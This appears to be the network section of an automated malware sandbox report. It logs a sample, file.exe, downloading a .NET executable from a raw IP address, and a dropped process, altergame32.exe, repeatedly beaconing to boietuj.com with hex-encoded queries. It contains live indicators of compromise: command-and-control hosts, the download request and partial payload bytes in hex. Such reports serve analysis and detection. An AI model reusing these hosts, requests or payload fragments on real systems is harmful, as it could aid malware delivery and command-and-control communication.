1	192.168.2.4	49731	185.156.72.65	80	6556	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:02:24.920368910 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 05:02:25.673360109 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="PAB1.file"; Content-Length: 4608 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0& @@ @&O@`%8 H.text `.rsrc@@@.reloc`@B&H\ (BSJBv4.0.30319l#~,H#Stringst#USx#GUID#BlobG3xZ!,IA&`5{@AP #R ;)19
Nov 20, 2024 05:02:25.673430920 CET	1236	IN	Data Raw: 10 00 41 00 d4 01 10 00 49 00 d4 01 10 00 51 00 d4 01 10 00 59 00 d4 01 10 00 61 00 d4 01 15 00 69 00 d4 01 10 00 71 00 d4 01 10 00 79 00 d4 01 10 00 81 00 d4 01 06 00 2e 00 0b 00 29 00 2e 00 13 00 32 00 2e 00 1b 00 51 00 2e 00 23 00 5a 00 2e 00 Data Ascii: AIQYaiqy.).2.Q.#Z.+k.3k.;k.CZ.Kq.Sk.[k.c.k.s<Module>mscorlibGuidAttributeDebuggableAttributeComV
Nov 20, 2024 05:02:25.673445940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 00 00 00 00 00 00 00 00 00 00 00 5f 43 6f 72 45 78 65 4d 61 69 6e 00 6d 73 63 6f 72 65 65 2e 64 6c 6c 00 00 00 00 00 ff 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &_CorExeMainmscoree.dll% @
Nov 20, 2024 05:02:25.673463106 CET	1162	IN	Data Raw: 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 38 00 08 00 01 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 31 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 cc 43 00 00 ea 01 00 00 00 00 00 00 Data Ascii: .0.0.08Assembly Version1.0.0.0C<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity
Nov 20, 2024 05:02:27.985363007 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 05:02:28.314224005 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 04:02:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49858	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:18.590806007 CET	314	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90 HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:19.330084085 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:19.441055059 CET	314	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90 HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:19.707802057 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 34 31 34 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 63 38 31 63 34 35 39 66 65 38 62 64 32 65 39 31 66 31 65 66 35 61 32 35 63 65 39 31 35 38 35 62 63 63 66 62 35 66 62 63 34 30 61 64 39 30 38 38 62 65 38 64 65 32 32 36 36 65 32 30 38 61 36 62 62 39 64 35 39 32 64 65 62 37 36 35 62 62 33 37 34 66 30 36 37 62 37 33 32 35 36 63 30 65 30 64 35 30 65 63 61 34 32 63 64 37 64 62 30 31 62 66 64 33 32 38 38 33 38 65 33 31 36 62 38 36 37 63 37 35 61 61 35 65 61 34 65 65 37 35 62 37 66 34 33 65 63 32 66 36 36 39 34 33 64 37 39 38 63 66 66 31 32 64 65 65 64 39 30 39 39 32 35 63 39 36 61 39 63 31 33 64 38 35 30 38 66 32 31 62 37 35 30 62 36 66 37 35 65 32 39 65 34 36 35 64 62 66 34 36 37 62 30 38 39 65 35 64 30 34 61 65 36 33 35 63 38 31 66 33 31 34 33 35 39 32 36 66 64 32 34 37 35 30 66 37 38 62 38 65 35 38 35 66 34 38 32 32 64 35 31 65 36 35 37 37 61 32 38 66 63 33 34 35 63 66 37 66 35 66 39 38 64 66 66 33 37 36 35 61 35 65 35 34 33 39 38 38 30 66 62 37 61 32 37 31 [TRUNCATED] Data Ascii: 41467b68a8a3203a77b0418f55f677c81c459fe8bd2e91f1ef5a25ce91585bccfb5fbc40ad9088be8de2266e208a6bb9d592deb765bb374f067b73256c0e0d50eca42cd7db01bfd328838e316b867c75aa5ea4ee75b7f43ec2f66943d798cff12deed909925c96a9c13d8508f21b750b6f75e29e465dbf467b089e5d04ae635c81f31435926fd24750f78b8e585f4822d51e6577a28fc345cf7f5f98dff3765a5e5439880fb7a2718bc61ed86cab26ccf6a00212f66af56c4d9ad392eb1c80dbd1eb8aa33a6c4cc2e752a06d931eb13eedab80251d03e0dc654dfed629d28bd975ea2e2dba9c33e3dbf70bcf30b9cbebd7353aa86f421adf58d8401ef14e044814a6cd1b7c0fbd24f67a199e53eaa6a8e0929ad25ca3ade970ac85db5310f1d53c9c96c5c2551609bfd892326614f10cfc9b0101ae3d7b8eec335797ef93d87c10f0a409daacf0a4e5ad27e6b5b324ffdd0d7cffacb539c3c6746fc6236822aa8ce957e9455c4892a180b619dfc9fee1a11a72c88c6107201c336cef19b09763571963701f35e4479798745d9a6a1e733a9d0c21052862cc841488cbbd27bd3513aa96ce42727b364805f14cbbaa5ab67b9c2089450d7d9c341a810b748f6acae679aaa30ab2a321235c585721fe9a1cb4673e02b262b1019c128a959ac159141dda0dec20ebd19e6dcef977250df3b76e1c406ae1156410cd [TRUNCATED]
Nov 20, 2024 05:03:19.707851887 CET	16	IN	Data Raw: 31 66 62 61 32 31 61 66 62 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fba21afb0
Nov 20, 2024 05:03:22.379276037 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:22.679676056 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49885	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:22.806027889 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:23.511003017 CET	1108	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 33 38 34 0d 0a 36 37 62 36 39 63 39 35 33 38 30 34 62 32 36 62 35 36 35 66 65 39 35 62 33 32 31 62 64 31 39 61 35 35 66 63 38 66 63 66 66 35 31 65 31 39 65 62 62 64 35 35 65 39 30 33 63 61 66 66 38 64 65 37 39 35 38 37 34 64 38 30 34 37 64 31 65 34 64 63 32 61 33 30 61 31 35 32 66 66 64 36 63 64 30 37 32 39 65 39 37 64 35 39 61 64 37 35 66 36 36 63 61 38 33 32 35 33 64 65 66 63 64 33 30 62 64 65 34 31 63 38 37 65 61 65 31 34 66 61 33 39 38 66 32 36 65 34 31 30 61 64 36 37 63 63 35 36 61 35 65 32 34 36 65 34 34 34 37 36 34 61 66 32 32 64 36 31 39 66 33 65 36 37 38 65 66 34 31 30 63 39 65 62 38 62 39 39 33 64 64 33 36 65 39 31 31 31 63 36 35 31 38 36 32 32 62 63 35 64 62 33 65 39 35 66 32 61 65 63 37 32 64 30 65 33 37 38 62 39 38 36 66 31 64 34 34 66 65 66 32 30 63 38 31 65 33 31 35 37 35 65 32 30 65 33 32 35 37 39 30 39 36 66 62 62 66 32 38 63 66 65 38 66 33 33 35 30 65 33 35 35 36 35 32 33 66 64 32 62 35 37 66 33 66 63 65 37 38 63 66 31 33 66 37 38 61 31 66 33 34 36 39 61 38 35 65 35 37 62 32 30 30 [TRUNCATED] Data Ascii: 38467b69c953804b26b565fe95b321bd19a55fc8fcff51e19ebbd55e903caff8de795874d8047d1e4dc2a30a152ffd6cd0729e97d59ad75f66ca83253defcd30bde41c87eae14fa398f26e410ad67cc56a5e246e444764af22d619f3e678ef410c9eb8b993dd36e9111c6518622bc5db3e95f2aec72d0e378b986f1d44fef20c81e31575e20e32579096fbbf28cfe8f3350e3556523fd2b57f3fce78cf13f78a1f3469a85e57b200dbc68e792cab265d160032d2f66ad49ccdca9272fbacc04b900b9a239b9c6ce2e75220fcd31ec0defd1b70d4ed23f13cf5dd9ed619d2fa99758a2fcd2a9c63126be78bde60e9ebebb7544a680ea23aef68f851fed14e95b824f72cdb5dffedd5466a690e43baf74890436ab2bca39dd981eca5bb02f061e52c0d66e5c3b596c87e2882932614e11d1c3b41319fcd6b8e9d63c7d65e53f87dc040d4183abc0064640d47d7551324ae1cfd3cff2d4519d3e724ffc793e8328b6cf987d894ac28e27020a689ee99cea1f05a72f8ad8197203de29cdfd9416773570833104e75d467e678d45dea6a2e23cbdd3c6164c8c2ac048538db2dc66d34f39b66cfc2c23b47a82561bc5a7a4ae6facc1049750d7daca55ab13a94affaeb0659b9e0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49892	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:23.633956909 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:24.349406958 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49898	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:24.477838039 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:25.182888985 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49904	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:25.310781002 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:26.013364077 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49910	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:26.258687019 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:26.982481003 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49917	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:27.111489058 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:27.814490080 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:27.925499916 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:28.175709963 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49927	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:28.303901911 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:29.002851963 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49933	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:29.211000919 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:29.864598036 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49939	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:30.277796984 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:30.897241116 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:31.035603046 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:31.290525913 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49945	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:31.415579081 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:32.129146099 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:32.238684893 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:32.485069990 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49956	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:32.604738951 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:33.320471048 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49962	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:33.446572065 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:34.155354977 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49968	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
